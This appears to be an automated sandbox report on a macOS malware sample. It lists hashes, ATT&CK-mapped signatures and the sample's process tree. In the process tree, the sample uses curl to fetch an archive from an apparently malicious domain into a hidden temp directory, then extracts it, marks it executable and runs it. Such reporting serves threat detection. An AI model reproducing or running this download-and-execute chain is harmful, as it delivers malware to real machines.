Overview

overview

10

Static

static

10

Macos-Malw...0d9d0b

macos-10.15-amd64

7

Macos-Malw...e6cad8

macos-10.15-amd64

7

Macos-Malw...858d9a

macos-10.15-amd64

1

Macos-Malw...8a248d

macos-10.15-amd64

7

Macos-Malw...a2394d

macos-10.15-amd64

1

Macos-Malw...db8b08

macos-10.15-amd64

7

Macos-Malw...1dd006

macos-10.15-amd64

7

Macos-Malw...4b1694

macos-10.15-amd64

1

Macos-Malw...cba061

macos-10.15-amd64

7

Macos-Malw...0ac417

macos-10.15-amd64

1

Macos-Malw...623edb

macos-10.15-amd64

1

Macos-Malw...715108

macos-10.15-amd64

1

Macos-Malw...0f989b

macos-10.15-amd64

1

Macos-Malw...5953fb

macos-10.15-amd64

7

Macos-Malw...997f4e

macos-10.15-amd64

1

Macos-Malw...c42693

macos-10.15-amd64

1

Macos-Malw...178f1a

macos-10.15-amd64

7

Macos-Malw...bb3f2a

macos-10.15-amd64

7

Macos-Malw...cfc69b

macos-10.15-amd64

7

Macos-Malw...53d096

macos-10.15-amd64

7

Macos-Malw...c2eb29

macos-10.15-amd64

7

Macos-Malw...684200

macos-10.15-amd64

1

Macos-Malw...e2020a

macos-10.15-amd64

7

Macos-Malw...e86dc4

macos-10.15-amd64

1

Macos-Malw...884d52

macos-10.15-amd64

7

Macos-Malw...32440c

macos-10.15-amd64

7

Macos-Malw...11b661

macos-10.15-amd64

7

Macos-Malw...40d4f3

macos-10.15-amd64

1

Macos-Malw...c98e38

macos-10.15-amd64

1

Macos-Malw...bf2f25

macos-10.15-amd64

1

Macos-Malw...7ca34f

macos-10.15-amd64

1

Macos-Malw...f5704d

macos-10.15-amd64

1

Analysis

  • max time kernel
    93s
  • max time network
    160s
  • platform
    macos-10.15_amd64
  • resource
    macos-20241101-en
  • resource tags

    arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    17/02/2025, 18:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8

  • Size

    48KB

  • MD5

    4f14f61b4080df48f0595f007d6b4ce2

  • SHA1

    851871658beb0a9b5a031fd884ccc62732ed4b86

  • SHA256

    00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8

  • SHA512

    748184b16144fe43ec94815d9be30053dff9b5eb0fdd132755e1eb3b331c22fce4032c34008fa2687c51d2992bf1608f604b68ddf937e10ff21ba9f60ea731d2

  • SSDEEP

    1536:bFF1Bn3+enFkTV2Py+bGd6kidOdW55XC:D1Bn3+cFkTV6xbmqd7C

Score
7/10
defense_evasionexecutionexfiltration

Malware Config

Signatures

  • Exfiltration Over Alternative Protocol 1 TTPs 1 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

    exfiltration
  • File Permission 1 TTPs

    Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.

    defense_evasion
  • Resource Forking 1 TTPs 1 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

    defense_evasion
  • Command and Scripting Interpreter 1 TTPs

    Adversaries may abuse Unix shell commands and scripts for execution.

    execution

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8\""
    1⤵
      PID:490
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8\""
      1⤵
        PID:490
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
        1⤵
          PID:490
          • /bin/zsh
            /bin/zsh -c /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
            2⤵
              PID:491
            • /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
              /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
              2⤵
                PID:491
                • /usr/bin/python
                  /usr/bin/python -
                  3⤵
                    PID:492
                  • /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
                    /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -
                    3⤵
                      PID:492
                      • /usr/bin/curl
                        /usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844744" -o /private/tmp/.mmstmp//stmp.tar.gz
                        4⤵
                          PID:493
                  • /bin/sh
                    sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                    1⤵
                      PID:494
                    • /bin/bash
                      sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                      1⤵
                        PID:494
                      • /usr/bin/tar
                        /usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/
                        1⤵
                          PID:494
                        • /bin/sh
                          sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                          1⤵
                            PID:495
                          • /bin/bash
                            sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                            1⤵
                              PID:495
                            • /bin/chmod
                              /bin/chmod +x /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                              1⤵
                                PID:495
                              • /bin/sh
                                sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                1⤵
                                  PID:496
                                • /bin/bash
                                  sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                  1⤵
                                    PID:496
                                  • /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                    /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                    1⤵
                                      PID:496

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads